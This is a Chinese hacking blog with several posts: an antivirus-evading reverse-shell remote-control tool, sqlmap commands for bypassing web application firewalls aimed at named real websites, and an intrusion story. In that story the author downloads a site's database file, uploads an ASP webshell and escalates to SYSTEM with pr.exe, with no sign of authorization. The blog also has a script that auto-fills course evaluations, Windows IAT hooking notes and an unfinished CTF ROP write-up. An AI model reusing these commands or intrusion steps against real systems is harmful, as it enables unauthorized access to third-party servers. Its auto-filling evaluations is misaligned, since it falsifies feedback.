正在写的一个WebRat

2019/8/19

嘛,整出来了Manager

咕咕咕了这么久(其实这期间是去整其他事情了)

怎么说呢,勉强能用的那种吧
TIM截图20190819211716.jpg

与其说是远控,不如说更像一个权限维持工具吧。

目前是全网免杀的_(:з)∠)_。。还有许多功能没添加

2019/8/5

基于:反弹式shell后门 实现

基本就是用这货整了个控制端,再用jq+ws整了个前端。

控制端用的是Golang写的,这样可以在多平台上跑。
还未完善,地址在这:tkit

暑假过去一半了啊啊啊啊啊啊啊,感觉自己啥也没干。

非常的烦.jpg

挖了好多坑都没填 ,其中就是那个pantsuWorld了,和一群人设定半天,连框架都没搭出来

完成度0.3%左右吧hhhhh

就是这些了
TIM图片20190805040518.jpg

Tags: 木马, 程序

SQLMAP的几个WAF绕过方法

虽然烂大街了但是还是发一下把

WAF/IPS/IDS identified as 'ASP.NET RequestValidationMode (Microsoft)'

sqlmap -u "http://member.niceloo.com/Project/ClassSearch.aspx?KeyWord=消防" --hpp -v3 -tamper "charunicodeencode.py,charencode.py" --thre
ad 10 --dbs

WAF/IPS/IDS identified as 'Generic (Unknown)'

C:\Users\Administrator>sqlmap -u "http://66123123.com/Goods/GoodsSearch?keyword=复印纸" --hpp -v3 -tamper "charunicodeencode.py,charencode.py,space2comment" --random-agent --flush-session --hex --thread 10

WAF/IPS/IDS identified as 'Jiasule Web Application Firewall (Jiasule)'

WAF/IPS/IDS identified as 'Safedog Web Application Firewall (Safedog)'

http://fans.sports.qq.com/post.htm?id=1602852759616356425&mid=62+#1_allWithElite

WAF/IPS/IDS identified as 'WebKnight Application Firewall (AQTRONIX)'

Tags: none

复古流日站

内网漫游时,正好发现了一个奇怪的页面。同时又突发奇想心血来潮闲的蛋疼balabala的想试试远古的工具包实际效果,于是就开始了我们的测试啦,因为这个站非常没有技术含量and早就废弃不用了,所以我就拿出来氵一篇文章了,不然博客都长草了

目标是这个

TIM截图20190808143225.jpg

第一步信息收集,怎么做呢?肯定是先御剑走起啊。

御剑扫的同时,先看看页面整么做的。

看了一下,发现是一个asp页面下面加上好几个html页面,然后用ajax请求。看到这瞬间知道没什么希望了

TIM截图20190808143225.jpg

但是天无绝人之路,御剑发现目录下有个BOOK.MDB,直接走起下载。读取查看,

TIM截图20190808143225.jpg

看样子确实是动态的

TIM截图20190808143225.jpg

我们看看有没有什么密码

TIM截图20190808143225.jpg
TIM截图20190808143225.jpg

现在用户名密码有了,问题来了,找不到登陆的地点。

各种尝试过后,失败.jpg

换去扫端口,nmap走起。

发现除了开启88端口外,80端口还有一个站点。

同时还有开放1723,1433,1025,1026,3389等一些服务,

其中1723和1025,1026这几个应该是没啥办法的了,这分别是某服务也windows rpc服务。

我们转到80站点看看

TIM截图20190808143225.jpg

感觉有戏!先看看站点。

TIM截图20190808145944.jpg

TIM截图20190808143225.jpg

试了下登陆,没有回显。再看看题目那里sql注入
TIM截图20190808143225.jpg
TIM截图20190808143225.jpg
看样子似乎可以注入,但是并不是个注入点的样子。

继续掏出御剑,走起
TIM截图20190808150457.jpg
神奇的发现,目录是可读的。

TIM截图20190808143225.jpg

尝试下载。失败

TIM截图20190808143225.jpg

这时候我们发现了个Upfile

TIM截图20190808143225.jpg
up.jpg
上传个文件试试

emmm果不其然失败了

TIM截图20190808143225.jpg

但是我们看这个路径upfile.asp?jpgname=

立刻掏出我们的Fiddle,构造一个上传请求,asp马,上传.jpg

TIM截图20190808143225.jpg
成功拿下。

发现服务器是windows 2003的,站点是IIS6.0

但是我们发现我们的服务很死。

windows甚至没有执行权限,cmd命令都无法执行,我们上传个cmd,执行试试。也不行。

然后想起了站点时IIS6.0,从工具包里找个pr.exe。

pr原理大概就是已NETWORK SERVICE权限运行的用户可以试着提权到SYSTEM权限。

抱着试一试的心态上传了这个exploit,执行

psb.jpg

emmmm卧槽?真的成了???

然后就连上去了doge。。

Tags: none

js自动选择器

作为一个优秀的"大学生",遇到一些繁杂,重复的东西,自然就需要一些特殊的技巧来完成啦。否则的话,就和最低级的苦力工没啥区别。

首单其中的,就是xxx质量评价啦,选项多还不说,还不能一个一个选过去
TIM截图20190703165320.png

因此,为了解决这个办法,自然要。开整!

首先,我们先需要一个jq。

jq大法好!

var importJs=document.createElement('script')
importJs.setAttribute("type","text/javascript")
importJs.setAttribute("src", 'https://ajax.microsoft.com/ajax/jquery/jquery-1.4.min.js') 
document.getElementsByTagName("head")[0].appendChild(importJs);

之后,就是遍历该属性的select选择器

$("#divJs select").each(function(){ //遍历选择器
var b = Math.round(Math.random()); //生成0,1随机数
if (b==0){
$(this).val("优秀");}else{ //选择
$(this).val("良好");
}
});
$("#pjxx").text("海星海星海星");

这样就完成啦,至于怎么用?

使用chrome,打开该页面,输入f12,按下console。

把上面两段代码复制过去,回车。

就会发现都选择完啦!

Tags: none

HOOK 技术

详解各种奇淫绝技。

部分手写部分搬运。

重在自己的理解,或者找个时间,武器化这部分程序。

最终目标: 实现一个带有各种HOOK的汇总工具包

遇到的坑

pragma comment 只对微软编译器有效,GCC没用,得用-l来连接

IAT HOOK

内存版本

这个需要进入到宿主文件的内存空间,所以一般用DLL注入到宿主文件

原理就是普通的计算IMAGE_IMPORT_DESCRIPTOR在内存空间的地址。

然后修改IMAGE_IMPORT_DESCRIPTOR.FirstThunk.u1.Function的地址为我们的函数地址

其中几个重点:

GetModuleHandle(NULL);
// 获取主模块(EXE)的地址

PVOID WINAPI ImageDirectoryEntryToData( 
__in   PVOID Base, 
__in   BOOLEAN MappedAsImage, 
__in   USHORT DirectoryEntry, 
__out  PULONG Size );

获取内存中IAT导入表的虚拟地址。

//Base为要获得导入段所在模块的基地址。它一般是GetModuleHandle的返回值。

//MappedAsImage,它为true时,系统将该模块以映像文件的形式映射,否则以数据文件的形式映射。

//DirectoryEntry,要获得的段的索引。此函数不仅仅能够获得导入段的地址,根据此索引的不同,该函数返回对应段的地址。此处我们使用 IMAGE_DIRECTORY_ENTRY_IMPORT表示我们要获得导入段的地址。

//Size返回表项的大小

目录文件

  • iat/memory/target.c 实例,直接封装在代码中的HOOK,没使用装载器
  • iat/memory/dll.c dll封装版本(纯搬运)

代码参考:

文件区块修改版本

直接操作PE文件,修改IAT导入表导入DLL的地址。

这样的好处是在程序最初的加载就已经执行我们的代码,

并且不需要使用注入等容易被检测的敏感动作。

缺点是不能针对单独函数hook,

或者说与其是hook。完全是无中生有添加了一个DLL引用。

未完待续。。。

Tags: none

赛后马后炮---canary+字符串泄露+ROP构造

分析

二话不说,直接拉到IDA,然后F5走起。

之后我们跟进
main.png

recvid.png

很明显,这个是接收ID的,其中sub_400ABE函数应该就是接收函数了。我们看一看
recv.png
果然,大概意思就是两个参数,一个字符串地址,一个接收的长度。然后for长度,用read接收字符,遇到n就break。

之后跟进第二个函数,是接收文本的,发现上面的recv长度可控。
大概逻辑就是接收文本长度,然后接收文本,然后把文本返回
recvstory.png

然而因为接收的长度是严格按照我们输入的大小来控制的,在接收函数那似乎并不能溢出。
但是!看到第一个参数s。我们这个参数是一个字符串地址,往这里写入的长度是我们可以控制的,那么,这个s的内存是在哪里申请的呢?
我们往上找,在接收story长度的那里
mems.png
size.png
看到了这个20ull
只要我们输入的长度大于这个20ull,理论就能覆盖返回地址。

虽说这里判断接收的size,如果>128,就默认是1024ll,但是我们看小于0,并没有判断大小
if.png
所以我们只需要在前面加个符号就能绕过判断了。
典型的ROP,之后就是我们要获取到libc地址。

代码直接使用了printf(%s),就是和明显的字符串泄露了
在此之前,先用checksec分析一下。
TIM截图20190412003915.png
发现开启了canary。这时候就需要泄露canary地址了

打开IDA/gdp,给printf下断点,执行。然后查看栈。

找到xor ebp,ebp

TIM截图20190412004130.png

数一数距离printf的栈顶有多远,这里是15,也就是cannary的地址了。

接下来得构造ROP调用system来执行我们的代码,就得用ROP构造了,不过在此之前我们得先找到libc的地址来构造。

因此我们先找个函数来计算libc基地址。到时候再更具基地址查找版本,再查找system函数的偏移就行了。

首先我们先用ldd来查看libc,got地址或者直接使用pwntools的elf功能。

大致思路就是这样,好困我先睡觉去了,明天找时间再写

代码

Tags: none